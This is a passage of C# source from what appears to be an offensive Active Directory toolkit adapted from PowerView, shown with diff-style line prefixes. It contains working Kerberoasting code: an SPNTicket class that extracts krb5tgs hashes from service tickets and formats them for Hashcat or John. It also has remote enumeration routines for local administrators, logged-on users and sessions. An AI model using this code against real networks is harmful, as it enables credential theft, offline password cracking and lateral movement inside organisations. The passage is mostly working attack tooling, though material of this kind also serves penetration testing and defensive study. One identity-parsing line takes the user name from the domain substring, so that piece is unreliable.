- GuidByteString += "\\" + b.ToString("X2");
- }
- IdentityFilter += "(objectguid=" + GuidByteString + ")";
- }
- else if (ObjectType == DomainObjectType.User || ObjectType == DomainObjectType.Group)
- {
- if (IdentityInstance.Contains("\\"))
- {
- string ConvertedIdentityInstance = ConvertADName(IdentityInstance.Replace("\\28", "(").Replace("\\29", ")"));
- if (ConvertedIdentityInstance != null && ConvertedIdentityInstance != "")
- {
- string UserDomain = ConvertedIdentityInstance.Substring(0, ConvertedIdentityInstance.IndexOf("/"));
- string UserName = ConvertedIdentityInstance.Substring(0, ConvertedIdentityInstance.IndexOf("/"));
- IdentityFilter += "(samAccountName=" + UserName + ")";
- }
- }
- else if (ObjectType == DomainObjectType.User)
- {
- IdentityFilter += "(samAccountName=" + IdentityInstance + ")";
- }
- else if (ObjectType == DomainObjectType.Group)
- {
- IdentityFilter += "(|(samAccountName=" + IdentityInstance + ")(name=" + IdentityInstance + "))";
- }
- }
- else if (ObjectType == DomainObjectType.Computer)
- {
- IdentityFilter += "(name=" + IdentityInstance + ")";
- }
- }
- return IdentityFilter;
- }
-
- private static string ConvertADName(string Identity, NameType type = NameType.Canonical)
- {
- Win32.ActiveDs.Init(3, null);
- Win32.ActiveDs.put_ChaseReferral(0x60);
- Win32.ActiveDs.Set(8, Identity);
- string adname = "";
- Win32.ActiveDs.Get((int)type, ref adname);
- return adname;
- }
- }
-
- ///
- /// Credential to authenticate to the Domain with a DomainSearcher object.
- ///
- public class Credential
- {
- public string UserName { get; set; }
- public string Password { get; set; }
- public Credential(string UserName, string Password)
- {
- this.UserName = UserName;
- this.Password = Password;
- }
-
- public static Credential EmptyCredential = new Credential("", "");
- }
-
- public enum DomainObjectType
- {
- User,
- Group,
- Computer
- }
-
- ///
- /// Generic DomainObject class for LDAP entries in Active Directory.
- ///
- public class DomainObject
- {
- public string samaccountname { get; set; }
- public SamAccountTypeEnum samaccounttype { get; set; }
- public string distinguishedname { get; set; }
- public string cn { get; set; }
- public string objectsid { get; set; }
- public string[] sidhistory { get; set; }
- public GroupTypeEnum grouptype { get; set; }
- public SecurityIdentifier Owner { get; set; }
- public SecurityIdentifier Group { get; set; }
- public RawAcl DiscretionaryAcl { get; set; }
- public RawAcl SystemAcl { get; set; }
-
- public string admincount { get; set; }
- public string serviceprincipalname { get; set; }
- public string name { get; set; }
- public string description { get; set; }
- public string memberof { get; set; }
- public string logoncount { get; set; }
- public UACEnum useraccountcontrol { get; set; }
-
- public string badpwdcount { get; set; }
- public DateTime badpasswordtime { get; set; }
- public DateTime pwdlastset { get; set; }
- public string whencreated { get; set; }
- public string whenchanged { get; set; }
- public DateTime accountexpires { get; set; }
-
- public DateTime lastlogon { get; set; }
- public DateTime lastlogoff { get; set; }
-
- public string codepage { get; set; }
- public string objectcategory { get; set; }
- public string usnchanged { get; set; }
- public string instancetype { get; set; }
- public string objectclass { get; set; }
- public string iscriticalsystemobject { get; set; }
- public string usncreated { get; set; }
- public string dscorepropagationdata { get; set; }
- public string adspath { get; set; }
- public string countrycode { get; set; }
- public string primarygroupid { get; set; }
- public string objectguid { get; set; }
- public DateTime lastlogontimestamp { get; set; }
- public string msds_supportedencryptiontypes { get; set; }
- public string showinadvancedviewonly { get; set; }
-
- public override string ToString()
- {
- string output = "";
- if (this.samaccountname != null && this.samaccountname.Trim() != "") { output += "samaccountname: " + this.samaccountname + Environment.NewLine; }
- if (this.samaccounttype.ToString().Trim() != "") { output += "samaccounttype: " + this.samaccounttype + Environment.NewLine; }
- if (this.distinguishedname != null && this.distinguishedname.Trim() != "") { output += "distinguishedname: " + this.distinguishedname + Environment.NewLine; }
- if (this.cn != null && this.cn.Trim() != "") { output += "cn: " + this.cn + Environment.NewLine; }
- if (this.objectsid != null && this.objectsid.Trim() != "") { output += "objectsid: " + this.objectsid + Environment.NewLine; }
- if (this.sidhistory != null && String.Join(", ", this.sidhistory).Trim() != "") { output += "sidhistory: " + (this.sidhistory == null ? "" : String.Join(", ", this.sidhistory)) + Environment.NewLine; }
- if (this.grouptype.ToString().Trim() != "") { output += "grouptype: " + this.grouptype + Environment.NewLine; }
- if (this.Owner != null && this.Owner.ToString().Trim() != "") { output += "Owner: " + this.Owner + Environment.NewLine; }
- if (this.Group != null && this.Group.ToString().Trim() != "") { output += "Group: " + this.Group + Environment.NewLine; }
- if (this.DiscretionaryAcl != null && this.DiscretionaryAcl.ToString().Trim() != "") { output += "DiscretionaryAcl: " + this.DiscretionaryAcl + Environment.NewLine; }
- if (this.SystemAcl != null && this.SystemAcl.ToString().Trim() != "") { output += "SystemAcl: " + this.SystemAcl + Environment.NewLine; }
- if (this.admincount != null && this.admincount.Trim() != "") { output += "admincount: " + this.admincount + Environment.NewLine; }
- if (this.serviceprincipalname != null && this.serviceprincipalname.Trim() != "") { output += "serviceprincipalname: " + this.serviceprincipalname + Environment.NewLine; }
- if (this.name != null && this.name.Trim() != "") { output += "name: " + this.name + Environment.NewLine; }
- if (this.description != null && this.description.Trim() != "") { output += "description: " + this.description + Environment.NewLine; }
- if (this.memberof != null && this.memberof.Trim() != "") { output += "memberof: " + this.memberof + Environment.NewLine; }
- if (this.logoncount != null && this.logoncount.Trim() != "") { output += "logoncount: " + this.logoncount + Environment.NewLine; }
- if (this.useraccountcontrol.ToString().Trim() != "") { output += "useraccountcontrol: " + this.useraccountcontrol + Environment.NewLine; }
- if (this.badpwdcount != null && this.badpwdcount.Trim() != "") { output += "badpwdcount: " + this.badpwdcount + Environment.NewLine; }
- if (this.badpasswordtime != null && this.badpasswordtime.ToString().Trim() != "") { output += "badpasswordtime: " + this.badpasswordtime + Environment.NewLine; }
- if (this.pwdlastset != null && this.pwdlastset.ToString().Trim() != "") { output += "pwdlastset: " + this.pwdlastset + Environment.NewLine; }
- if (this.whencreated != null && this.whencreated.ToString().Trim() != "") { output += "whencreated: " + this.whencreated + Environment.NewLine; }
- if (this.whenchanged != null && this.whenchanged.ToString().Trim() != "") { output += "whenchanged: " + this.whenchanged + Environment.NewLine; }
- if (this.accountexpires != null && this.accountexpires.ToString().Trim() != "") { output += "accountexpires: " + this.accountexpires + Environment.NewLine; }
- if (this.lastlogon != null && this.lastlogon.ToString().Trim() != "") { output += "lastlogon: " + this.lastlogon + Environment.NewLine; }
- if (this.lastlogoff != null && this.lastlogoff.ToString().Trim() != "") { output += "lastlogoff: " + this.lastlogoff + Environment.NewLine; }
- if (this.codepage != null && this.codepage.Trim() != "") { output += "codepage: " + this.codepage + Environment.NewLine; }
- if (this.objectcategory != null && this.objectcategory.Trim() != "") { output += "objectcategory: " + this.objectcategory + Environment.NewLine; }
- if (this.usnchanged != null && this.usnchanged.Trim() != "") { output += "usnchanged: " + this.usnchanged + Environment.NewLine; }
- if (this.instancetype != null && this.instancetype.Trim() != "") { output += "instancetype: " + this.instancetype + Environment.NewLine; }
- if (this.objectclass != null && this.objectclass.Trim() != "") { output += "objectclass: " + this.objectclass + Environment.NewLine; }
- if (this.iscriticalsystemobject != null && this.iscriticalsystemobject.Trim() != "") { output += "iscriticalsystemobject: " + this.iscriticalsystemobject + Environment.NewLine; }
- if (this.usncreated != null && this.usncreated.Trim() != "") { output += "usncreated: " + this.usncreated + Environment.NewLine; }
- if (this.dscorepropagationdata != null && this.dscorepropagationdata.Trim() != "") { output += "dscorepropagationdata: " + this.dscorepropagationdata + Environment.NewLine; }
- if (this.adspath != null && this.adspath.Trim() != "") { output += "adspath: " + this.adspath + Environment.NewLine; }
- if (this.countrycode != null && this.countrycode.Trim() != "") { output += "countrycode: " + this.countrycode + Environment.NewLine; }
- if (this.primarygroupid != null && this.primarygroupid.Trim() != "") { output += "primarygroupid: " + this.primarygroupid + Environment.NewLine; }
- if (this.objectguid != null && this.objectguid.Trim() != "") { output += "objectguid: " + this.objectguid + Environment.NewLine; }
- if (this.lastlogontimestamp != null && this.lastlogontimestamp.ToString().Trim() != "") { output += "lastlogontimestamp: " + this.lastlogontimestamp + Environment.NewLine; }
- if (this.msds_supportedencryptiontypes != null && this.msds_supportedencryptiontypes.Trim() != "") { output += "msds_supportedencryptiontypes: " + this.msds_supportedencryptiontypes + Environment.NewLine; }
- if (this.showinadvancedviewonly != null && this.showinadvancedviewonly.Trim() != "") { output += "showinadvancedviewonly: " + this.showinadvancedviewonly + Environment.NewLine; }
-
- return output;
- }
- }
-
- ///
- /// SPNTicket for a DomainObject with a SPN set. Useful for obtaining krb5tgs hashes.
- ///
- public class SPNTicket
- {
- public string ServicePrincipleName { get; set; }
- public string SamAccountName { get; set; }
- public string UserDomain { get; set; }
- public string TicketByteHexStream { get; set; } = null;
- public string Hash { get; set; } = null;
-
- ///
- /// Constructor for SPNTicket.
- ///
- /// Service Principal Name (SPN) for which the ticket applies.
- /// SamAccountName for the user that has a SPN set.
- /// Domain name for the user that has a SPN set.
- /// TicketHexStream of the SPNTicket.
- public SPNTicket(string servicePrincipalName, string samAccountName, string userDomain, string ticketHexStream)
- {
- this.ServicePrincipleName = servicePrincipalName;
- this.SamAccountName = samAccountName;
- this.UserDomain = userDomain;
- this.TicketByteHexStream = ticketHexStream;
- var matches = Regex.Match(ticketHexStream, "a382....3082....A0030201(?..)A1.{1,4}.......A282(?....)........(?.+)", RegexOptions.IgnoreCase);
- if (matches.Success)
- {
- byte etype = Convert.ToByte(matches.Groups["EtypeLen"].Value, 16);
- int cipherTextLen = Convert.ToInt32(matches.Groups["CipherTextLen"].Value, 16) - 4;
- string cipherText = matches.Groups["DataToEnd"].Value.Substring(0, cipherTextLen * 2);
-
- if (matches.Groups["DataToEnd"].Value.Substring(cipherTextLen * 2, 4) == "A482")
- {
- this.Hash = cipherText.Substring(0, 32) + "$" + cipherText.Substring(32);
- }
- }
- }
- public enum HashFormat
- {
- Hashcat,
- John
- }
-
- ///
- /// Gets a krb5tgs hash formatted for a cracker.
- ///
- /// Format for the hash.
- /// Formatted krb5tgs hash.
- public string GetFormattedHash(HashFormat format = HashFormat.Hashcat)
- {
- if (format == HashFormat.Hashcat)
- {
- return "$krb5tgs$" + "23" + "$*" + this.SamAccountName + "$" + this.UserDomain + "$" + this.ServicePrincipleName + "$" + this.Hash;
- }
- else if (format == HashFormat.John)
- {
- return "$krb5tgs$" + this.ServicePrincipleName + ":" + this.Hash;
- }
- return null;
- }
- }
-
- public enum NameType
- {
- DN = 1,
- Canonical = 2,
- NT4 = 3,
- Display = 4,
- DomainSimple = 5,
- EnterpriseSimple = 6,
- GUID = 7,
- Unknown = 8,
- UPN = 9,
- CanonicalEx = 10,
- SPN = 11,
- SID = 12
- }
-
- public enum SamAccountTypeEnum : uint
- {
- DOMAIN_OBJECT = 0x00000000,
- GROUP_OBJECT = 0x10000000,
- NON_SECURITY_GROUP_OBJECT = 0x10000001,
- ALIAS_OBJECT = 0x20000000,
- NON_SECURITY_ALIAS_OBJECT = 0x20000001,
- USER_OBJECT = 0x30000000,
- MACHINE_ACCOUNT = 0x30000001,
- TRUST_ACCOUNT = 0x30000002,
- APP_BASIC_GROUP = 0x40000000,
- APP_QUERY_GROUP = 0x40000001,
- ACCOUNT_TYPE_MAX = 0x7fffffff
- }
-
- [Flags]
- public enum GroupTypeEnum : uint
- {
- CREATED_BY_SYSTEM = 0x00000001,
- GLOBAL_SCOPE = 0x00000002,
- DOMAIN_LOCAL_SCOPE = 0x00000004,
- UNIVERSAL_SCOPE = 0x00000008,
- APP_BASIC = 0x00000010,
- APP_QUERY = 0x00000020,
- SECURITY = 0x80000000
- }
-
- [Flags]
- public enum UACEnum : uint
- {
- SCRIPT = 1,
- ACCOUNTDISABLE = 2,
- HOMEDIR_REQUIRED = 8,
- LOCKOUT = 16,
- PASSWD_NOTREQD = 32,
- PASSWD_CANT_CHANGE = 64,
- ENCRYPTED_TEXT_PWD_ALLOWED = 128,
- TEMP_DUPLICATE_ACCOUNT = 256,
- NORMAL_ACCOUNT = 512,
- INTERDOMAIN_TRUST_ACCOUNT = 2048,
- WORKSTATION_TRUST_ACCOUNT = 4096,
- SERVER_TRUST_ACCOUNT = 8192,
- DONT_EXPIRE_PASSWORD = 65536,
- MNS_LOGON_ACCOUNT = 131072,
- SMARTCARD_REQUIRED = 262144,
- TRUSTED_FOR_DELEGATION = 524288,
- NOT_DELEGATED = 1048576,
- USE_DES_KEY_ONLY = 2097152,
- DONT_REQ_PREAUTH = 4194304,
- PASSWORD_EXPIRED = 8388608,
- TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216,
- PARTIAL_SECRETS_ACCOUNT = 67108864
- }
- }
-
- ///
- /// Net is a library for localgroup/domain enumeration that can be used to search for users, groups, loggedonusers,
- /// and sessions on remote systems using Win32 API functions.
- ///
- ///
- /// Net is adapted from Will Schroeder's (@harmj0y) PowerView. (Found
- /// at https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
- ///
- public static class Net
- {
- ///
- /// LocalGroup represents a local group object on a remote system.
- ///
- public class LocalGroup
- {
- public string ComputerName { get; set; } = "";
- public string GroupName { get; set; } = "";
- public string Comment { get; set; } = "";
-
- public override string ToString()
- {
- string output = "";
- output += "ComputerName: " + ComputerName + Environment.NewLine;
- output += "GroupName: " + GroupName + Environment.NewLine;
- output += "Comment: " + Comment + Environment.NewLine;
- return output;
- }
- }
-
- ///
- /// LocalGroupMember represents a user's membership to a local group on a remote system.
- ///
- public class LocalGroupMember
- {
- public string ComputerName { get; set; } = "";
- public string GroupName { get; set; } = "";
- public string MemberName { get; set; } = "";
- public string SID { get; set; } = "";
- public bool IsGroup { get; set; } = false;
- public bool IsDomain { get; set; } = false;
-
- public override string ToString()
- {
- string output = "";
- if (this.ComputerName.Trim() != "") { output += "ComputerName: " + ComputerName + Environment.NewLine; }
- if (this.MemberName.Trim() != "") { output += "MemberName: " + MemberName + Environment.NewLine; }
- if (this.SID.Trim() != "") { output += "SID: " + SID + Environment.NewLine; }
- if (this.IsGroup.ToString().Trim() != "") { output += "IsGroup: " + IsGroup + Environment.NewLine; }
- if (this.IsDomain.ToString().Trim() != "") { output += "IsDomain: " + IsDomain + Environment.NewLine; }
-
- return output;
- }
- }
-
- ///
- /// LoggedOnUser represents a user logged on to a remote system.
- ///
- public class LoggedOnUser
- {
- public string UserName { get; set; } = "";
- public string ComputerName { get; set; } = "";
- public string LogonDomain { get; set; } = "";
- public string AuthDomains { get; set; } = "";
- public string LogonServer { get; set; } = "";
-
- public override string ToString()
- {
- string output = "";
- if (this.UserName.Trim() != "") { output += "UserName: " + UserName + Environment.NewLine; }
- if (this.ComputerName.Trim() != "") { output += "ComputerName: " + ComputerName + Environment.NewLine; }
- if (this.LogonDomain.Trim() != "") { output += "LogonDomain: " + LogonDomain + Environment.NewLine; }
- if (this.AuthDomains.Trim() != "") { output += "AuthDomains: " + AuthDomains + Environment.NewLine; }
- if (this.LogonServer.Trim() != "") { output += "LogonServer: " + LogonServer + Environment.NewLine; }
-
- return output;
- }
- }
-
- ///
- /// SessionInfo represents a user with a session on a remote system.
- ///
- public class SessionInfo
- {
- public string CName { get; set; } = "";
- public string UserName { get; set; } = "";
- public string ComputerName { get; set; } = "";
- public int Time { get; set; } = 0;
- public int IdleTime { get; set; } = 0;
-
- public override string ToString()
- {
- string output = "";
- if (this.CName.Trim() != "") { output += "CName: " + CName + Environment.NewLine; }
- if (this.UserName.Trim() != "") { output += "UserName: " + UserName + Environment.NewLine; }
- if (this.ComputerName.Trim() != "") { output += "ComputerName: " + ComputerName + Environment.NewLine; }
- if (this.Time.ToString().Trim() != "") { output += "Time: " + Time + Environment.NewLine; }
- if (this.IdleTime.ToString().Trim() != "") { output += "IdleTime: " + IdleTime + Environment.NewLine; }
-
- return output;
- }
- }
-
- ///
- /// Gets a list of `LocalGroup`s from a specified DomainCompter.
- ///
- /// DomainComputer to query for LocalGroups.
- /// Credential to use for authentication to the DomainComputer.
- /// List of LocalGroups.
- public static List GetNetLocalGroups(Domain.DomainObject DomainComputer, Domain.Credential Credential = null)
- {
- List ComputerNames = new List();
- if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT)
- {
- ComputerNames.Add(DomainComputer.cn);
- }
- return ComputerNames.Count == 0 ? new List() : GetNetLocalGroups(ComputerNames, Credential);
- }
-
- ///
- /// Gets a list of `LocalGroup`s from specified DomainComputers.
- ///
- /// List of DomainComputers to query for LocalGroups.
- /// Credential to use for authentication to the DomainComputer.
- /// List of LocalGroups.
- public static List GetNetLocalGroups(IEnumerable DomainComputers, Domain.Credential Credential = null)
- {
- List ComputerNames = new List();
- foreach (Domain.DomainObject DomainComputer in DomainComputers)
- {
- if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT)
- {
- ComputerNames.Add(DomainComputer.cn);
- }
- }
- return ComputerNames.Count == 0 ? new List() : GetNetLocalGroups(ComputerNames, Credential);
- }
-
- ///
- /// Gets a list of `LocalGroup`s from specified remote computer(s).
- ///
- /// ComputerName to query for LocalGroups.
- /// Credential to use for authentication to the ComputerName.
- /// List of LocalGroups.
- public static List GetNetLocalGroups(string ComputerName = "127.0.0.1", Domain.Credential Credential = null)
- {
- return ComputerName == null ? new List() : GetNetLocalGroups(new List { ComputerName }, Credential);
- }
-
- ///
- /// Gets a list of `LocalGroup`s from specified remote computer(s).
- ///
- /// List of ComputerNames to query for LocalGroups.
- /// Credential to use for authentication to the ComputerNames.
- /// List of LocalGroups.
- public static List GetNetLocalGroups(IEnumerable ComputerNames, Domain.Credential Credential = null)
- {
- ComputerNames = ComputerNames.Where(CN => CN != null);
- List localGroups = new List();
- foreach (string ComputerName in ComputerNames)
- {
- int QueryLevel = 1;
- IntPtr PtrInfo = IntPtr.Zero;
- int EntriesRead = 0;
- int TotalRead = 0;
- int ResumeHandle = 0;
- int Result = Win32.Netapi32.NetLocalGroupEnum(ComputerName, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle);
- long Offset = PtrInfo.ToInt64();
- if (Result == 0 && Offset > 0)
- {
- int increment = Marshal.SizeOf(typeof(Win32.Netapi32.LOCALGROUP_USERS_INFO_1));
- for (int i = 0; i < EntriesRead; i++)
- {
- IntPtr NextIntPtr = new IntPtr(Offset);
- Win32.Netapi32.LOCALGROUP_USERS_INFO_1 Info = (Win32.Netapi32.LOCALGROUP_USERS_INFO_1)Marshal.PtrToStructure(NextIntPtr, typeof(Win32.Netapi32.LOCALGROUP_USERS_INFO_1));
- Offset = NextIntPtr.ToInt64();
- Offset += increment;
- localGroups.Add(
- new LocalGroup
- {
- ComputerName = ComputerName,
- GroupName = Info.name,
- Comment = Info.comment
- }
- );
- }
- Win32.Netapi32.NetApiBufferFree(PtrInfo);
- }
- else
- {
- Console.Error.WriteLine("Error: " + new System.ComponentModel.Win32Exception(Result).Message);
- }
- }
- return localGroups;
- }
-
- ///
- /// Gets a list of `LocalGroupMember`s from a specified DomainComputer for a specified group.
- ///
- /// DomainComputer to query for LocalGroupMembers.
- /// Group to search for LocalGroupMembers. Administrators, by default.
- /// Credential to authenticate to the DomainComputer.
- /// List of LocalGroupMembers
- public static List GetNetLocalGroupMembers(Domain.DomainObject DomainComputer, string GroupName = "Administrators", Domain.Credential Credential = null)
- {
- List ComputerNames = new List();
- if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT)
- {
- ComputerNames.Add(DomainComputer.cn);
- }
- return ComputerNames.Count == 0 || GroupName == null ? new List() : GetNetLocalGroupMembers(ComputerNames, GroupName, Credential);
- }
-
- ///
- /// Gets a list of `LocalGroupMember`s from specified DomainComputers for a specified group.
- ///
- /// DomainComputers to query for LocalGroupMembers.
- /// Group to search for LocalGroupMembers. Administrators, by default.
- /// Credential to authenticate to the DomainComputer.
- /// List of LocalGroupMembers.
- public static List GetNetLocalGroupMembers(IEnumerable DomainComputers, string GroupName = "Administrators", Domain.Credential Credential = null)
- {
- List ComputerNames = new List();
- foreach (Domain.DomainObject DomainComputer in DomainComputers)
- {
- if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT)
- {
- ComputerNames.Add(DomainComputer.cn);
- }
- }
- return ComputerNames.Count == 0 || GroupName == null ? new List() : GetNetLocalGroupMembers(ComputerNames, GroupName, Credential);
- }
-
- ///
- /// Gets a list of `LocalGroupMember`s from a specified ComputerName for a specified group.
- ///
- /// ComputerName to query for LocalGroupMembers.
- /// Group to search for LocalGroupMembers. Administrators, by default.
- /// Credential to authenticate to the ComputerName.
- /// List of LocalGroupMembers.
- public static List GetNetLocalGroupMembers(string ComputerName = "127.0.0.1", string GroupName = "Administrators", Domain.Credential Credential = null)
- {
- return ComputerName == null || GroupName == null ? new List() : GetNetLocalGroupMembers(new List { ComputerName }, GroupName, Credential);
- }
-
- ///
- /// Gets a list of `LocalGroupMember`s from specified ComputerNames for a specified group.
- ///
- /// List of ComputerNames to query for LocalGroupMembers.
- /// Group to search for LocalGroupMembers. Administrators, by default.
- /// Credential to authenticate to the ComputerNames.
- /// List of LocalGroupMembers
- public static List GetNetLocalGroupMembers(IEnumerable ComputerNames, string GroupName = "Administrators", Domain.Credential Credential = null)
- {
- ComputerNames = ComputerNames.Where(CN => CN != null);
- List groupMembers = new List();
- foreach (string ComputerName in ComputerNames)
- {
- int QueryLevel = 2;
- IntPtr PtrInfo = IntPtr.Zero;
- int EntriesRead = 0;
- int TotalRead = 0;
- int ResumeHandle = 0;
- int Result = Win32.Netapi32.NetLocalGroupGetMembers(ComputerName, GroupName, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle);
- long Offset = PtrInfo.ToInt64();
- if (Result == 0 && Offset > 0)
- {
- int increment = Marshal.SizeOf(typeof(Win32.Netapi32.LOCALGROUP_MEMBERS_INFO_2));
- for (int i = 0; i < EntriesRead; i++)
- {
- IntPtr NextIntPtr = new IntPtr(Offset);
- Win32.Netapi32.LOCALGROUP_MEMBERS_INFO_2 Info = (Win32.Netapi32.LOCALGROUP_MEMBERS_INFO_2)Marshal.PtrToStructure(NextIntPtr, typeof(Win32.Netapi32.LOCALGROUP_MEMBERS_INFO_2));
- Offset = NextIntPtr.ToInt64();
- Offset += increment;
-
- IntPtr ptrSid;
- bool Result2 = Win32.Advapi32.ConvertSidToStringSid(Info.lgrmi2_sid, out ptrSid);
- if (!Result2)
- {
- int LastError = Marshal.GetLastWin32Error();
- Console.Error.WriteLine("Error: " + new System.ComponentModel.Win32Exception(LastError).Message);
- }
- else
- {
- string SidString = "";
- try
- {
- SidString = Marshal.PtrToStringAuto(ptrSid);
- }
- finally
- {
- Win32.Kernel32.LocalFree(ptrSid);
- }
-
- groupMembers.Add(
- new LocalGroupMember
- {
- ComputerName = ComputerName,
- GroupName = GroupName,
- MemberName = Info.lgrmi2_domainandname,
- SID = SidString,
- IsGroup = Info.lgrmi2_sidusage == (UInt16)Win32.Netapi32.SID_NAME_USE.SidTypeGroup,
- IsDomain = false
- }
- );
- }
- }
- Win32.Netapi32.NetApiBufferFree(PtrInfo);
-
- Regex localUserRegex = new Regex(".*-500");
- Regex localUserRegex2 = new Regex(".*-501");
- LocalGroupMember localMachineUser = groupMembers.FirstOrDefault(GM => localUserRegex.IsMatch(GM.SID) || localUserRegex2.IsMatch(GM.SID));
- if (localMachineUser != null)
- {
- string MachineSID = localMachineUser.SID.Substring(0, localMachineUser.SID.LastIndexOf("-"));
- foreach (LocalGroupMember member in groupMembers)
- {
- if (member.SID.Contains(MachineSID))
- {
- member.IsDomain = true;
- }
- }
- }
- }
- else
- {
- Console.Error.WriteLine("Error: " + new System.ComponentModel.Win32Exception(Result).Message);
- }
- }
- return groupMembers;
- }
-
- ///
- /// Gets a list of `LoggedOnUser`s from a DomainComputer.
- ///
- /// DomainComputer to query for LoggedOnUsers
- /// Credentials to authenticate to the DomainComputer.
- /// List of LoggedOnUsers.
- public static List GetNetLoggedOnUsers(Domain.DomainObject DomainComputer, Domain.Credential Credential = null)
- {
- List ComputerNames = new List();
- if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT)
- {
- ComputerNames.Add(DomainComputer.cn);
- }
- return ComputerNames.Count == 0 ? new List() : GetNetLoggedOnUsers(ComputerNames, Credential);
- }
-
- ///
- /// Gets a list of `LoggedOnUser`s from a list of DomainComputers.
- ///
- /// DomainComputers to query for LoggedOnUsers.
- /// Credentials to authenticate to the DomainComputers.
- /// List of LoggedOnUsers.
- public static List GetNetLoggedOnUsers(IEnumerable DomainComputers, Domain.Credential Credential = null)
- {
- List ComputerNames = new List();
- foreach (Domain.DomainObject DomainComputer in DomainComputers)
- {
- if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT)
- {
- ComputerNames.Add(DomainComputer.cn);
- }
- }
- return ComputerNames.Count == 0 ? new List() : GetNetLoggedOnUsers(ComputerNames, Credential);
- }
-
- ///
- /// Gets a list of `LoggedOnUser`s from a ComputerName.
- ///
- /// ComputerName to query for LoggedOnUsers.
- /// Credentials to authenticate to the ComputerName.
- /// List of LoggedOnUsers.
- public static List GetNetLoggedOnUsers(string ComputerName = "127.0.0.1", Domain.Credential Credential = null)
- {
- return ComputerName == null ? new List() : GetNetLoggedOnUsers(new List { ComputerName }, Credential);
- }
-
- ///
- /// Gets a list of `LoggedOnUser`s from a list of ComputerNames.
- ///
- /// ComputerNames to query for LoggedOnUsers.
- /// Credentials to authenticate to the ComputerNames.
- /// List of LoggedOnUsers.
- public static List GetNetLoggedOnUsers(IEnumerable ComputerNames, Domain.Credential Credential = null)
- {
- ComputerNames = ComputerNames.Where(CN => CN != null);
- List loggedOnUsers = new List();
- foreach (string ComputerName in ComputerNames)
- {
- int QueryLevel = 1;
- IntPtr PtrInfo = IntPtr.Zero;
- int EntriesRead = 0;
- int TotalRead = 0;
- int ResumeHandle = 0;
-
- int Result = Win32.Netapi32.NetWkstaUserEnum(ComputerName, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle);
- long Offset = PtrInfo.ToInt64();
-
- if (Result == 0 && Offset > 0)
- {
- int increment = Marshal.SizeOf(typeof(Win32.Netapi32.WKSTA_USER_INFO_1));
- for (int i = 0; i < EntriesRead; i++)
- {
- IntPtr NextIntPtr = new IntPtr(Offset);
- Win32.Netapi32.WKSTA_USER_INFO_1 Info = (Win32.Netapi32.WKSTA_USER_INFO_1)Marshal.PtrToStructure(NextIntPtr, typeof(Win32.Netapi32.WKSTA_USER_INFO_1));
- Offset = NextIntPtr.ToInt64();
- Offset += increment;
-
- loggedOnUsers.Add(
- new LoggedOnUser
- {
- UserName = Info.wkui1_username,
- ComputerName = ComputerName,
- LogonDomain = Info.wkui1_logon_domain,
- AuthDomains = Info.wkui1_oth_domains,
- LogonServer = Info.wkui1_logon_server
- }
- );
- }
- Win32.Netapi32.NetApiBufferFree(PtrInfo);
- }
- else
- {
- Console.Error.WriteLine("Error: " + new System.ComponentModel.Win32Exception(Result).Message);
- }
- }
- return loggedOnUsers;
- }
-
- ///
- /// Gets a list of `SessionInfo`s from a DomainComputer.
- ///
- /// DomainComputer to query for SessionInfos.
- /// Credentials to authenticate to the DomainComputer.
- /// List of SessionInfos.
- public static List GetNetSessions(Domain.DomainObject DomainComputer, Domain.Credential Credential = null)
- {
- List ComputerNames = new List();
- if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT)
- {
- ComputerNames.Add(DomainComputer.cn);
- }
- return ComputerNames.Count == 0 ? new List() : GetNetSessions(ComputerNames, Credential);
- }
-
- ///
- /// Gets a list of `SessionInfo`s from a list of DomainComputers.
- ///
- /// DomainComputers to query for SessionInfos.
- /// Credentials to authenticate to the DomainComputers.
- /// List of SessionInfos.
- public static List GetNetSessions(IEnumerable DomainComputers, Domain.Credential Credential = null)
- {
- List ComputerNames = new List();
- foreach (Domain.DomainObject DomainComputer in DomainComputers)
- {
- if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT)
- {
- ComputerNames.Add(DomainComputer.cn);
- }
- }
- return ComputerNames.Count == 0 ? new List() : GetNetSessions(ComputerNames, Credential);
- }
-
- ///
- /// Gets a list of `SessionInfo`s from a ComputerName.
- ///
- /// ComputerName to query for SessionInfos.
- /// Credentials to authenticate to the ComputerName.
- /// List of SessionInfos.
- public static List GetNetSessions(string ComputerName = "127.0.0.1", Domain.Credential Credential = null)
- {
- return ComputerName == null ? new List() : GetNetSessions(new List { ComputerName }, Credential);
- }
-
- ///
- /// Gets a list of `SessionInfo`s from a list of ComputerNames.
- ///
- /// ComputerNames to query for SessionInfos.
- /// Credentials to authenticate to the ComputerNames.
- /// List of SessionInfos.
- public static List GetNetSessions(IEnumerable ComputerNames, Domain.Credential Credential = null)
- {
- ComputerNames = ComputerNames.Where(CN => CN != null);
- List sessions = new List();
- foreach (string ComputerName in ComputerNames)
- {
- int QueryLevel = 10;
- IntPtr PtrInfo = IntPtr.Zero;
- int EntriesRead = 0;
- int TotalRead = 0;
- int ResumeHandle = 0;
-
- int Result = Win32.Netapi32.NetSessionEnum(ComputerName, null, null, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle);
- long Offset = PtrInfo.ToInt64();
- if (Result == 0 && Offset > 0)
- {
- int increment = Marshal.SizeOf(typeof(Win32.Netapi32.SESSION_INFO_10));
- for (int i = 0; i < EntriesRead; i++)
- {
- IntPtr NextIntPtr = new IntPtr(Offset);
